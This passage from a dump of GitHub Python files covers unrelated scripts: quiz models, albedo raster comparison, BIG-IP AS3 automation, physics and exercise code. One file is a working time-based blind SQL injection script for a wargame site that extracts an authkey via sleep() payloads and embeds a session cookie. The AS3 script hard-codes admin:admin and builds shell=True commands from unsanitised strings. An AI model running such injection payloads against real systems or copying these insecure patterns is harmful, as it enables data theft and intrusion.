qual as opções de resposta\"\n \"multipla escolha são exibidas\"\n \"para o usuário\"),\n verbose_name=_(\"Ordem da resposta\"))\n\n def check_if_correct(self, guess):\n answer = Answer.objects.get(id=guess)\n\n if answer.correct is True:\n return True\n else:\n return False\n\n def order_answers(self, queryset):\n if self.answer_order == 'conteudo':\n return queryset.order_by('conteudo')\n if self.answer_order == 'aleatorio':\n return queryset.order_by('?')\n if self.answer_order == 'nenhum':\n return queryset.order_by()\n return queryset\n\n def get_answers(self):\n return self.order_answers(Answer.objects.filter(question=self))\n\n def get_answers_list(self):\n return [(answer.id, answer.conteudo) for answer in\n self.order_answers(Answer.objects.filter(question=self))]\n\n def answer_choice_to_string(self, guess):\n return Answer.objects.get(id=guess).conteudo\n\n class Meta:\n verbose_name = _(\"Questão de múltipla escolha\")\n verbose_name_plural = _(\"Questões de múltipla escolha\")\n\n\n@python_2_unicode_compatible\nclass Answer(models.Model):\n question = models.ForeignKey(MCQuestion, verbose_name=_(\"Questão\"), on_delete=models.CASCADE)\n\n conteudo = models.CharField(max_length=1000,\n blank=False,\n help_text=_(\"Digite o texto da resposta que \"\n \"que você deseja exibir\"),\n verbose_name=_(\"Conteúdo\"))\n\n correct = models.BooleanField(blank=False,\n default=False,\n help_text=_(\"Está é a resposta correta?\"),\n verbose_name=_(\"Correta\"))\n\n def __str__(self):\n return self.conteudo\n\n class Meta:\n verbose_name = _(\"Resposta\")\n verbose_name_plural = _(\"Respostas\")\n","repo_name":"danisveloso/Projantiplagio","sub_path":"django_quiz/build/lib/multiescolha/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4322500377","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: Adrien Wehrlé, GEUS (Geological Survey of Denmark and Greenland)\n\"\"\"\n\nfrom osgeo import gdal, gdalconst\nimport rasterio\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom pathlib import Path\nimport calendar\n\nyear='2022'\nmonth='06'\n\nos.chdir('/Users/jason/Dropbox/S3/SICE_ESSD/')\n\nvarnam='albedo_bb_planar_sw'\n\n\nmonths=['06','07','08']\nmonths=['07']\nmonths2=['June','July','August']\nmonths2=['July']\n# months=['08']\n# years=['2018']\n\niyear=2022 ; fyear=2022\nyears=np.arange(iyear,fyear+1).astype(str)\n\nth=1 ; fs=16\n# plt.rcParams['font.sans-serif'] = ['Georgia']\nplt.rcParams[\"font.size\"] = fs\nplt.rcParams['axes.facecolor'] = 'w'\nplt.rcParams['axes.edgecolor'] = 'k'\nplt.rcParams['axes.grid'] = False\nplt.rcParams['grid.alpha'] = 1\nplt.rcParams['grid.color'] = \"#cccccc\"\nplt.rcParams[\"legend.facecolor\"] ='w'\nplt.rcParams[\"mathtext.default\"]='regular'\nplt.rcParams['grid.linewidth'] = th\nplt.rcParams['axes.linewidth'] = th #set the value globally\nplt.rcParams['figure.figsize'] = 17, 10\n\nregion='Greenland'\n\nmask_file='/Users/jason/Dropbox/S3/masks/Greenland_1km.tiff'\nmask = rasterio.open(mask_file).read(1)\nni = mask.shape[0] ; nj = mask.shape[-1]\nv = np.where(mask == 1)\n# v = np.where(mask > 0)\nland=np.zeros((ni,nj))*np.nan\nland[v]=1\n\n# plt.imshow(land)\n\nv1_daily_rasters_path = \"/Users/jason/0_dat/S3/SICE_adrien/\"\nv2_daily_rasters_path = \"/Users/jason/0_dat/S3/opendap/\"\n\n\nfig, axs = plt.subplots(1, 3, layout='constrained',figsize=(15,8))\n# plt.close()\n# plt.clf()\n\n\n\n\nfor year in years:\n for mm,month in enumerate(months):\n\n n_days=calendar.monthrange(int(year),int(month))[1]\n days=np.arange(1,n_days+1).astype(str)\n days=['14','16','31']\n abc=['a)','b)','c)']\n\n for dd,dayx in enumerate(days):\n # if dayx=='3': # 3 ok\n # if int(dayx)>=0: # 3 ok\n day=dayx.zfill(2)\n \n fn2=f\"{v2_daily_rasters_path}{region}/{year}/{year}-{month}-{day}_{varnam}.tif\"\n print(fn2)\n my_file2 = Path(fn2)\n \n fn1=f\"{v1_daily_rasters_path}{region}/{year}-{month}-{day}/{varnam}.tif\"\n print(fn1)\n my_file1 = Path(fn1)\n\n if ( (my_file1.is_file()) & (my_file2.is_file()) ):\n target_crs_fn='/Users/jason/Dropbox/1km_grid2/mask_1km_1487x2687.tif'\n ofile = f'/Users/jason/0_dat/S3/daily_comp_v1_v2/{varnam}_{year}_{month}_{day}_v2_1km.tif'\n \n profile = rasterio.open(\"/Users/jason/Dropbox/1km_grid2/mask_1km_1487x2687.tif\").profile\n \n #source\n src = gdal.Open(fn2, gdalconst.GA_ReadOnly)\n src_proj = src.GetProjection()\n src_geotrans = src.GetGeoTransform()\n \n #raster to match\n match_ds = gdal.Open(target_crs_fn, gdalconst.GA_ReadOnly)\n match_proj = match_ds.GetProjection()\n match_geotrans = match_ds.GetGeoTransform()\n wide = match_ds.RasterXSize\n high = match_ds.RasterYSize\n \n #output/destination\n dst = gdal.GetDriverByName('Gtiff').Create(ofile, wide, high, 1, gdalconst.GDT_Float32)\n dst.SetGeoTransform( match_geotrans )\n dst.SetProjection( match_proj)\n \n #run\n # gdal.ReprojectImage(src, dst, src_proj, match_proj, gdalconst.GRA_NearestNeighbour) #.GRA_Bilinear\n gdal.ReprojectImage(src, dst, src_proj, match_proj, gdalconst.GRA_Bilinear)\n del dst # Flush\n \n # os.system('ls -lF '+ofile)\n \n PTEPv1 = rasterio.open(fn1).read(1)\n PTEPv2 = rasterio.open(ofile).read(1)\n var=PTEPv1-PTEPv2\n var[land==1]=-2\n # var[((land==1)&(~np.isfinite(var)))]=-20\n \n region='Greenland'\n \n ly='p'\n\n lo=-0.15 ; hi=-lo\n mult=0.1\n # fig, ax = plt.subplots(figsize=(ni*mult,nj*mult))\n # fig, ax = plt.subplots(figsize=(10,10))\n # plt.close()\n # plt.clf()\n # ax.imshow(var,vmin=lo,vmax=hi,cmap='seismic')\n ax = axs[dd]\n my_cmap = plt.cm.get_cmap('seismic')\n my_cmap.set_under(\"#AA7748\") # brown, land\n pcm=ax.imshow(var,vmin=lo,vmax=hi,cmap=my_cmap)\n # ax.set_title(f\"{abc[dd]} {year} {months2[mm]} {day}\")\n ax.axis(\"off\")\n \n \n # ----------- annotation\n xx0=0.0 ; yy0=0.96\n mult=0.95 ; co=0.\n # props = dict(boxstyle='round', facecolor='w', alpha=1,edgecolor='w')\n ax.text(xx0, yy0, f\"{abc[dd]} {year} {month} {day}\",\n fontsize=fs*mult,color=[co,co,co],rotation=0,\n transform=ax.transAxes,zorder=20,ha='left') # ,bbox=props\n # plt.suptitle(f\"{varnam}\")\n if dd == 2: \n cax = ax.inset_axes([1.04, 0.2, 0.05, 0.6])\n cbar=fig.colorbar(pcm, ax=ax, cax=cax)\n cbar.ax.set_title(f'{varnam}\\nPTEPv1\\nminus\\nPTEPv2\\n')\n\n # ----------- annotation\n xx0=-0.1 ; yy0=-0.02\n mult=0.8\n co=0.4\n cwd=__file__ #cwd=os.getcwd()\n # props = dict(boxstyle='round', facecolor='w', alpha=1,edgecolor='w')\n plt.text(xx0, yy0, cwd,\n fontsize=fs*mult,color=[co,co,co],rotation=0,\n transform=ax.transAxes,zorder=20,ha='left') # ,bbox=props\n else:\n print(f'no file {varnam}_{year}_{month}')\n\n # plt.colorbar()ax.set_title(f\"{year} {months2[mm]}\")\nif ly == 'x':plt.show()\n\nfigpath=f'./Figs/{region}'\nfigpath='/Users/jason/0_dat/S3/daily_comp_v1_v2/Figs'\nos.system('mkdir -p '+figpath)\n\nfigpath='/Users/jason/Dropbox/S3/SICE_ESSD/Figs/Greenland/'\n\nif ly == 'p':\n plt.savefig(f'{figpath}/{varnam}_{year}_{month}__select_PTEPv1-v2.png', dpi=150, bbox_inches=\"tight\", pad_inches=0.1)\n\n","repo_name":"GEUS-SICE/SICE_ESSD","sub_path":"src/diff_SICE_v2_v1_daily.py","file_name":"diff_SICE_v2_v1_daily.py","file_ext":"py","file_size_in_byte":6359,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"30951646886","text":"import pdb\nimport json\nimport subprocess\n\ndef read_json(filepath, filename):\n fullname = filepath + '/' + filename\n with open(fullname) as handle:\n dictdump = json.loads(handle.read())\n return dictdump\n\ndef check_liveness(ip):\n try:\n ping_cmd = f\"ping {ip} -c 3\"\n subprocess.check_output(ping_cmd, shell=True, stderr=subprocess.PIPE).decode()\n except subprocess.CalledProcessError as err:\n ip = ip + \" is not alive\"\n return ip\n\ndef fqdn_alias(domainname):\n if domainname == \"sample.com\":\n return check_liveness('10.145.69.216')\n if domainname == \"foo.com\":\n return check_liveness('10.144.75.221')\n if domainname == 'bar.com':\n return check_liveness('10.145.251.1')\n\n\ndef list_of_bigips(fqdns):\n bigips = []\n if type(fqdns) is list:\n for fqdn in fqdns:\n bigips.append(fqdn_alias(fqdn))\n else:\n bigips.append(fqdn_alias(fqdns))\n return bigips\n\ndef get_bigipPartition(allAs3):\n get_bigipPartition = sorted(set(allAs3.keys()))\n if allAs3['class'] == 'ADC':\n list_of_known_objects = ['class', 'controls', 'id', 'label', 'remark', 'schemaVersion', 'updateMode']\n for known_object in list_of_known_objects:\n get_bigipPartition.remove(known_object)\n bigipActualPartition = sorted(set(allAs3[get_bigipPartition[0]].keys()))\n list_of_known_objects = ['class', 'defaultRouteDomain']\n for known_object in list_of_known_objects:\n bigipActualPartition.remove(known_object)\n return get_bigipPartition[0], bigipActualPartition[0]\n\n bigipActualPartition = [None]\n if allAs3['class'] == 'Tenant':\n bigipActualPartition = sorted(set(allAs3[get_bigipPartition[0]].keys()))\n list_of_known_objects = ['class', 'defaultRouteDomain']\n for known_object in list_of_known_objects:\n bigipActualPartition.remove(known_object)\n return None,bigipActualPartition[0]\n\ndef get_virtualserver(allvs):\n keys = sorted(set(allvs.keys()))\n keys.remove('class')\n keys.remove('template')\n names_dict = dict()\n for ind in keys:\n if allvs[ind]['class'] in ['Service_HTTP', 'Service_HTTPS']:\n names_dict['virtualServer'] = ind\n if allvs[ind]['class'] in ['Pool']:\n names_dict['pool'] = ind\n if allvs[ind]['class'] in ['Monitor']:\n names_dict['monitor'] = ind\n return names_dict\n\ndef parse_request(request):\n fqdn = request['request_body']['fqdn']\n parsed_data = dict()\n parsed_data['list_of_bigips'] = list_of_bigips(fqdn)\n\n if \"poolMembers\" in request['request_body'].keys():\n parsed_data['poolMembers'] = request['request_body']['poolMembers']\n if \"vsPort\" in request['request_body'].keys():\n parsed_data['vsPort'] = request['request_body']['vsPort']\n return parsed_data\n\ndef fetchReplaceAs3(bigip,parsed_data):\n curl_cmd = f\"curl -ku admin:admin -X GET https://{bigip}/mgmt/shared/appsvcs/declare/\"\n output = subprocess.check_output(curl_cmd, shell=True, stderr=subprocess.PIPE).decode()\n allAs3 = json.loads(output)\n bigip_partition, shared_bigip_partition = get_bigipPartition(allAs3)\n if bigip_partition is not None:\n namesdict = get_virtualserver(allAs3[bigip_partition][shared_bigip_partition])\n vsObjects = allAs3[bigip_partition][shared_bigip_partition]\n else:\n namesdict = get_virtualserver(allAs3[shared_bigip_partition])\n vsObjects = allAs3[shared_bigip_partition]\n if parsed_data['vsPort']:\n vsObjects[namesdict['virtualServer']]['virtualPort'] = int(parsed_data['vsPort'])\n for poolMember in parsed_data['poolMembers']:\n allVals = poolMember.split(':')\n newMember = {\n 'addressDiscovery': 'static',\n 'serverAddresses': allVals[0],\n 'servicePort': int(allVals[1])\n }\n # Check for existence of the member\n is_poolmember_exists = False\n for member in vsObjects[namesdict['pool']]['members']:\n if newMember['serverAddresses'] in member['serverAddresses']:\n is_poolmember_exists = True\n\n if not is_poolmember_exists:\n vsObjects[namesdict['pool']]['members'][0]['serverAddresses'].append(allVals[0])\n allAs3 = json.dumps(allAs3)\n return allAs3\n\ndef post_as3(bigip,formedAs3):\n post_cmd = f\"curl -ks -u admin:admin -H 'Content-Type: application/json' https://{bigip}/mgmt/shared/appsvcs/declare/ -X POST -d '\" + formedAs3 + \"'\"\n post_result = subprocess.check_output(post_cmd, shell=True, stderr=subprocess.PIPE).decode()\n post_result = json.loads(post_result)\n #print(post_result)\n if \"results\" in post_result.keys():\n if post_result['results'][0]['code'] in [200, 202]:\n print(f\"Pushed successfully to BIGIP: {bigip}\")\n else:\n print(f\"Post Failed to BIGIP: {bigip}, Revoked to the previous configuration\")\n\ndef process_request(bigip,parsed_data):\n if \"not alive\" in bigip:\n print(\"\\n\\nProcessing request\")\n print(f\"BIGIP {bigip}\")\n return\n print(f\"\\n\\nProcessing request of BIGIP:{bigip}\")\n # Get AS3 declaration and Replace with request\n formedAs3 = fetchReplaceAs3(bigip, parsed_data)\n # Send Declaration back to BIGIP\n post_as3(bigip, formedAs3)\n\n\n\n\n\n\n\n","repo_name":"nandakishorepeddi/programmableBigipOrchestrator","sub_path":"as3utils.py","file_name":"as3utils.py","file_ext":"py","file_size_in_byte":5316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12433872574","text":"\nimport numpy as np\nimport math as math\n\nnp.seterr('raise')\n\n\ndef TSlxTSly(x_isl, y_isl, xTB, yTB, Theta_T, DeltaS_T):\n # Compute intermediate values\n A = -(x_isl - xTB) * np.cos(Theta_T) - (y_isl - yTB) * np.sin(Theta_T) # A term\n B = (x_isl - xTB) ** 2 + (y_isl - yTB) ** 2 # B term\n Cx = np.sin(Theta_T) # Cx term (X-direction)\n Dx = -(y_isl - yTB) # Dx term (X-direction)\n Cy = -np.cos(Theta_T) # Cy term (Y-direction)\n Dy = x_isl - xTB # Dy term (Y-direction)\n E = math.sqrt(B - A ** 2) # E term\n\n if (E == 0 or np.iscomplex(E) or np.isnan(E) or np.isinf(E)): # If E term is 0 or complex or a NAN or an INF\n TSlx = 0\n TSly = 0\n else:\n\n term1 = 0.5 * Cx * np.log((DeltaS_T ** 2 + 2 * A * Theta_T + B) / B);\n term2 = ((Dx - A * Cx) / E) * (math.atan2((DeltaS_T + A), E) - math.atan2(A, E));\n TSlx = term1 + term2;\n\n\n term1 = 0.5 * Cy * np.log((DeltaS_T ** 2 + 2 * A * DeltaS_T + B) / B);\n term2 = ((Dy - A * Cy) / E) * (math.atan2((DeltaS_T + A), E) - math.atan2(A, E));\n TSly = term1 + term2;\n\n # Zero out any problem values\n if (np.iscomplex(TSlx) or np.isnan(TSlx) or np.isinf(TSlx)):\n TSlx = 0\n if (np.iscomplex(TSly) or np.isnan(TSly) or np.isinf(TSly)):\n TSly = 0\n\n return TSlx, TSly\n","repo_name":"DehanYuan/Unsteady_Panel_Method","sub_path":"TSlxTSly.py","file_name":"TSlxTSly.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35417837823","text":"import csv\n\n\ndef divisible_by_3(num: str):\n if not all_16_digits(num):\n return False\n first_num = int(num[0])\n if first_num % 3 == 0:\n return True\n return False\n\n\ndef divisible_by_2(num: str):\n first_num = int(num[0])\n if first_num % 2 == 0:\n return True\n return False\n\n\ndef all_16_digits(num: str):\n if len(num) == 16:\n return True\n else:\n print(\"NOT EVERY NUMBER IS 16 DIGITS!\")\n return False\n\n\n# with open(\"Book1.csv\") as old_csv:\n# reader = csv.rea\\(old_csv)\n# for row in reader:\n# old_number = int(row[0]) + 1\n# old_number = row[0]\n# print(old_number)\n\n# with open(\"Book1.csv\", 'r') as old_csv:\n# with open(\"MyNewFile.csv\", 'w', newline='') as new_csv:\n# reader = csv.reader(old_csv)\n# writer = csv.writer(new_csv)\n# print(\"Processing...\")\n#\n# for row in reader:\n# # old_number = int(row[0]) + 1\n# old_number = row[0]\n# first_num = int(old_number[0])\n# if first_num % 2 == 0:\n# writer.writerow(row)\n#\n# print(\"DONE\")\n\ndef reverse_it(string):\n print(string[::-1])\n\n\nreverse_it(\"Hello World\")\n\n\nwith open(\"Book1.csv\", 'r') as old_csv:\n with open(\"MyNewFile.csv\", 'w', newline='') as new_csv:\n reader = csv.reader(old_csv)\n writer = csv.writer(new_csv)\n print(\"Processing...\")\n\n for row in reader:\n # old_number = int(row[0]) + 1\n old_number = row[0]\n if divisible_by_3(old_number) and divisible_by_2(old_number):\n writer.writerow(row)\n\nprint(\"DONE\")\n","repo_name":"gannonp/CSE","sub_path":"CSVNotes.py","file_name":"CSVNotes.py","file_ext":"py","file_size_in_byte":1636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31398404855","text":"F = open('26.txt')\nN = int(F.readline())\n\nlist = []\n\nfor i in range(N):\n # Считываем все данные в список\n list.append(int(F.readline()))\n\n# Сортируем их от меньшего к большему\nlist.sort()\n\n'''\nНаша дальнейшая задача - определить границу в списке между файлами,\nслева от которой файлы будут храниться не в сжатом виде,\nсправа - в сжатом. Именно при таком подходе получится добиться желаемого результата:\nполучить как можно больше файлов в несжатом виде\n'''\n\n# Определим верхнюю и нижнюю границы объема архива\nsup = 0.9 * sum(list)\ninf = 0.8 * sum(list)\n\n# Непосредственно алгоритм нахождения границы\n'''\nПо сути, в inf у нас хранится объем архива, если бы\nвсе файлы в нем были сжаты. В каждой иттерации цикла мы будем\nизменять размер очередного файла с сжатого до обыкновенного, тем самым\nнайдя нашу границу.\n'''\ni = 0\nwhile inf <= sup:\n inf += 0.2 * list[i]\n i += 1\n# Вычитаем единицу, так как в последней иттерации прибавили лишнюю\ni -= 1\n# Таким образом в inf сейчас хранится объем, который на объем одного файла\n# переполняет верхнюю границу\n\n# Вот и граница\n# Индексация списка начинается с нуля, а i-тый файл\n# переполняет нашу границу, поэтому мы имеет ровно i несжатых файлов.\ncount = i\n\n# На последней иттерации цикла мы прибавили лишний файл,\n# который и переполнил верхний объем, сделаем его обратно сжатым\ninf -= 0.2 * list[i]\n\n'''\nТеперь найдем максимальный размер файла, который при уже найденном количестве несжатых\nфайлов можно сохранить без сжатия. Сделаем максимальный несжатый элемент сжатым,\nи заменим его по возможности более объмным файлом\n'''\ninf -= 0.2 * list[i - 1]\nwhile i < len(list) and inf + 0.2 * list[i] <= sup:\n i += 1\n\n# Выведем ответ\nprint(count, list[i - 1])\n\nF.close()\n","repo_name":"veliKerril/SolutionsEGE2","sub_path":"4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":2770,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42719998767","text":"# -*- coding : UTF-8 -*-\nimport requests\nimport time\nfrom bs4 import BeautifulSoup\nimport sys\n\nabc = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'\n\ncookies = dict(ci_session='a%3A11%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%227131cf4a282c0e45ed4ac6b8eb640983%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A14%3A%22121.170.91.130%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A115%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F57.0.2987.133+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1494747324%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22name%22%3Bs%3A18%3A%22moonlight_paradice%22%3Bs%3A5%3A%22email%22%3Bs%3A19%3A%22chaneyoon%40gmail.com%22%3Bs%3A4%3A%22lang%22%3Bs%3A3%3A%22kor%22%3Bs%3A11%3A%22achievement%22%3Bs%3A7%3A%22default%22%3Bs%3A5%3A%22point%22%3Bs%3A4%3A%228150%22%3Bs%3A14%3A%22last_auth_time%22%3Bi%3A1494747503%3B%7De2dbfd462124d785d7499420549b066a8b7ee645')\n\n\nurl = 'http://wargame.kr:8080/lonely_guys/'\n\nprint(\"[+] Testing the number of the rows of table 'authkey'\")\nfor i in range(1000):\n\tdata = {'sort': ', if((select count(*) from authkey)=%d,sleep(1),1)' % i}\n\ttime1 = time.time()\n\tr = requests.post(url, data=data, cookies=cookies)\n\ttime2 = time.time()\n\n\tif (time2 - time1) >= 1: # 서브쿼리의 반환값이 참일 때\n\t\tprint(\"[*] The rows number of table authkey : %2d\" % i)\n\t\tbreak\n\telse :\n\t\tprint(\"[-] Testing the rows number of table authkey : %2d\" % i)\n\n\n\n\nprint(\"\\n[+] Testing the length of the authkey\")\nfor i in range(1000): # i = the length of the authkey\n\tdata = {'sort': ', (select sleep(length((select authkey from authkey))=%d))' % i}\n\ttime1 = time.time()\n\tr = requests.post(url, data=data, cookies=cookies)\n\ttime2 = time.time()\n\n\tif (time2 - time1) >= 1: # 서브쿼리의 반환값이 참일 때\n\t\tprint(\"\\r[*] The rows number of table authkey : %2d\" % i)\n\t\tauthLen = i\n\t\tbreak\n\telse :\n\t\tprint(\"[-] Testing the value : %2d\" % i)\n\t\tsys.stdout.flush()\n\n\nresult = ''\nprint(\"\\n[+] Extracting the value of the authkey : \")\nfor i in range(1, authLen+1):\n\tfor a in abc:\n\t\tdata = {'sort': ', if(ord(mid((select authkey from authkey),%d,1))=%d,sleep(1),1)' % (i, ord(a))}\n\t\ttime1 = time.time()\n\t\tr = requests.post(url, data=data, cookies=cookies)\n\t\ttime2 = time.time()\n\n\t\tif (time2 - time1) >= 1: # 서브쿼리의 반환값이 참임\n\t\t\tprint(\"\\r[*] ************ Extract the value : %s ************\" % a)\n\t\t\tresult += a\n\t\t\tbreak\n\t\telse :\n\t\t\tprint(\"[-] Testing the value(%d) : %s\" % (i, a))\n\tif len(result) != i:\n\t\tprint(\"Error..\")\n\t\texit()\nprint(\"\\n[*] The result : \" + result)\n\n","repo_name":"ch4n3-yoon/wargames","sub_path":"wargame.kr/lonelyGuys.py","file_name":"lonelyGuys.py","file_ext":"py","file_size_in_byte":2619,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"9592221133","text":"import warnings\r\nfrom keras.models import load_model\r\nimport numpy\r\nimport os\r\nfrom matplotlib import pyplot\r\n\r\nwarnings.filterwarnings(\"ignore\")\r\n\r\ndef main():\r\n version = 1.2\r\n savePlotsFlag = 1\r\n displayPlotsFlag = 0\r\n inputFile = 'acf_test_sm734.txt' \r\n predictionFile = 'predictions.txt'\r\n idealValuesFile = 'sm7-34-DSed.txt'\r\n errorFile = 'error.txt'\r\n nnFile = 'nn_dls.h5' \r\n predictionsDir = 'predictions'\r\n dataDir = 'ts'\r\n nnmodelsDir = 'nnmodels'\r\n reportsDir = 'reports'\r\n norm = 400\r\n iSize = 125\r\n maxRunId = 100\r\n #Suppress tensorflow debug messages\r\n os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' \r\n #Display Banner\r\n displayBanner(version)\r\n if not os.path.exists(predictionsDir):\r\n os.makedirs(predictionsDir)\r\n if not os.path.exists(nnmodelsDir):\r\n os.makedirs(nnmodelsDir)\r\n print('[+] Loading Input File...')\r\n inputData = loadData(dataDir+'/'+inputFile, iSize)\r\n ideal = numpy.genfromtxt(dataDir+'/'+idealValuesFile)\r\n ideal = ideal.reshape(ideal.shape[0],1)\r\n prediction = numpy.zeros(len(ideal))\r\n prediction = prediction.reshape(prediction.shape[0],1)\r\n print(' [-] Complete')\r\n for runId in range(1,(maxRunId+1)):\r\n if (runId < 100):\r\n if (runId < 10):\r\n runIdStr = '00' + str(runId) + '_'\r\n else:\r\n runIdStr = '0' + str(runId) + '_'\r\n print('[+] Loading Neural Network '+str(runId)+' out of '+str(maxRunId))\r\n model = load_model(nnmodelsDir+'/'+runIdStr+nnFile)\r\n print(' [-] Complete')\r\n print('[+] Processing Data...')\r\n run_prediction = model.predict(inputData)*norm\r\n run_prediction = run_prediction.reshape(run_prediction.shape[0],1)\r\n prediction = prediction + run_prediction\r\n print(' [-] Complete') \r\n prediction = prediction/maxRunId\r\n error = abs(prediction-ideal)/ideal*100\r\n mean_error = numpy.mean(error)\r\n print('[-] Network Array Mean Error = ' + str(round(mean_error,2)) + '%')\r\n pyplot.plot(error, 'r')\r\n pyplot.xlabel('Index')\r\n pyplot.ylabel('Relative Error (%)')\r\n if (savePlotsFlag == 1): \r\n pyplot.savefig(reportsDir+'/'+'averagedTestErr.png')\r\n if (displayPlotsFlag == 1):\r\n pyplot.show()\r\n pyplot.close()\r\n print('[+] Saving Predictions and Errors...')\r\n numpy.savetxt(predictionsDir+'/'+predictionFile, prediction)\r\n numpy.savetxt(predictionsDir+'/'+errorFile, error)\r\n print(' [-] Complete') \r\n \r\n \r\ndef loadData(fileName, iSize_): \r\n inAr = numpy.genfromtxt(fileName)\r\n inAr = inAr[:iSize_,:]\r\n inAr = inAr.T\r\n return inAr\r\n\r\ndef displayBanner(version_):\r\n print(\"\\n==================================================================\")\r\n print(\"Dynamic Light Scattering Neural Network Estimator v\" + str(version_))\r\n print(\"\\n==================================================================\")\r\n\r\nif __name__== \"__main__\":\r\n main()","repo_name":"SilviuRei/PhD","sub_path":"keras_nn_dls_productive.py","file_name":"keras_nn_dls_productive.py","file_ext":"py","file_size_in_byte":2998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74843178066","text":"\r\nfrom PyQt5.QtCore import Qt\r\nfrom PyQt5.QtWidgets import (QButtonGroup, QApplication, QWidget, QLabel, QVBoxLayout, QMessageBox, QRadioButton,QHBoxLayout, QPushButton, QGroupBox)\r\nfrom random import shuffle, randint\r\n#класс Вопрос\r\nclass Question():\r\n def __init__(\r\n self, question, right_answer, wrong1, wrong2, wrong3):\r\n self.question = question\r\n self.right_answer = right_answer\r\n self.wrong1 = wrong1\r\n self.wrong2 = wrong2\r\n self.wrong3 = wrong3\r\n\r\n#создание приложения и главного окна\r\napp = QApplication([])\r\nmain_win = QWidget()\r\nmain_win.resize(400, 400)\r\nmain_win.setWindowTitle('Memory Card')\r\nmain_win.total = 0\r\nmain_win.score = 0\r\n#надпись\r\ntext = QLabel('Вопрос')\r\n#кнопка\r\nbtn = QPushButton('Ответить')\r\n\r\n#создание группы\r\nRB = QGroupBox('Варианты ответов')\r\nans_1 = QRadioButton('ответ1')\r\nans_2 = QRadioButton('ответ2')\r\nans_3 = QRadioButton('ответ3')\r\nans_4 = QRadioButton('ответ4')\r\n\r\n\r\nline_1 = QVBoxLayout()\r\nline_2 = QVBoxLayout()\r\nline_k = QHBoxLayout()\r\nline_1.addWidget(ans_1)\r\nline_1.addWidget(ans_2)\r\nline_2.addWidget(ans_3)\r\nline_2.addWidget(ans_4)\r\nline_k.addLayout(line_1)\r\nline_k.addLayout(line_2)\r\nRB.setLayout(line_k)\r\n\r\nline_t = QHBoxLayout()\r\nline_rb = QHBoxLayout()\r\nline_b = QHBoxLayout()\r\n\r\nline_t.addWidget(text)\r\nline_rb.addWidget(RB)\r\nline_b.addWidget(btn)\r\n\r\nmain_line = QVBoxLayout()\r\n\r\nmain_line.addLayout(line_t)\r\nmain_line.addLayout(line_rb)\r\nmain_line.addLayout(line_b)\r\n\r\n\r\n\r\nAnsGroupBox = QGroupBox('Результат теста')\r\nlb_Result = QLabel('Правильно/Неправильно')\r\nlb_Correct = QLabel('Правильный ответ')\r\n\r\nlayout_res = QVBoxLayout()\r\nlayout_res.addWidget(lb_Result, alignment=(Qt.AlignLeft | Qt.AlignTop))\r\nlayout_res.addWidget(lb_Correct, alignment=Qt.AlignHCenter)\r\nAnsGroupBox.setLayout(layout_res)\r\n\r\nline_rb.addWidget(AnsGroupBox)\r\n\r\nRadioGroup = QButtonGroup()\r\nRadioGroup.addButton(ans_1)\r\nRadioGroup.addButton(ans_2)\r\nRadioGroup.addButton(ans_3)\r\nRadioGroup.addButton(ans_4)\r\n\r\nAnsGroupBox.hide()\r\n\r\ndef show_result():\r\n RB.hide()\r\n AnsGroupBox.show()\r\n btn.setText('Следующий вопрос')\r\n\r\ndef question_func():\r\n AnsGroupBox.hide()\r\n RB.show()\r\n btn.setText('Ответить')\r\n RadioGroup.setExclusive(False)\r\n ans_1.setChecked(False)\r\n ans_2.setChecked(False)\r\n ans_3.setChecked(False)\r\n ans_4.setChecked(False)\r\n RadioGroup.setExclusive(True)\r\n\r\n\r\n\r\n\r\nans = [ans_1, ans_2, ans_3, ans_4]\r\ndef ask(q: Question):\r\n shuffle(ans)\r\n ans[0].setText(q.right_answer)\r\n ans[1].setText(q.wrong1)\r\n ans[2].setText(q.wrong2)\r\n ans[3].setText(q.wrong3)\r\n \r\n text.setText(q.question)\r\n lb_Correct.setText(q.right_answer)\r\n question_func()\r\n\r\ndef show_correct(res):\r\n lb_Result.setText(res)\r\n show_result()\r\n\r\ndef checked_answer():\r\n if ans[0].isChecked():\r\n show_correct('Правильно')\r\n\r\n if ans[1].isChecked() or ans[2].isChecked() or ans[3].isChecked():\r\n show_correct('Неправильно')\r\n print('Статистика всего вопросов:',main_win.total)\r\n print('Правильных ответов', main_win.score)\r\n print('Рейтинг:', round(main_win.score/main_win.total*100, 2))\r\n\r\nquestion_list = []\r\nquestion_list.append(Question('Госдарственный язык Португалии','Португальский','Английский','Испанский','Французкий'))\r\n\r\nquestion_list.append(Question('Сколько длилась столетняя война','116 лет','100 лет','120 лет','118 лет'))\r\n\r\nquestion_list.append(Question('Кто создал фэйсбук','Марк Цукерберг','Эндрю Босуорт','Дэвид Венер','не знаю'))\r\n\r\nquestion_list.append(Question('','','','',''))\r\n\r\n\r\n\r\ndef next_question():\r\n if len(question_list) > 0:\r\n main_win.total += 1\r\n cur_question = randint(0, len(question_list) - 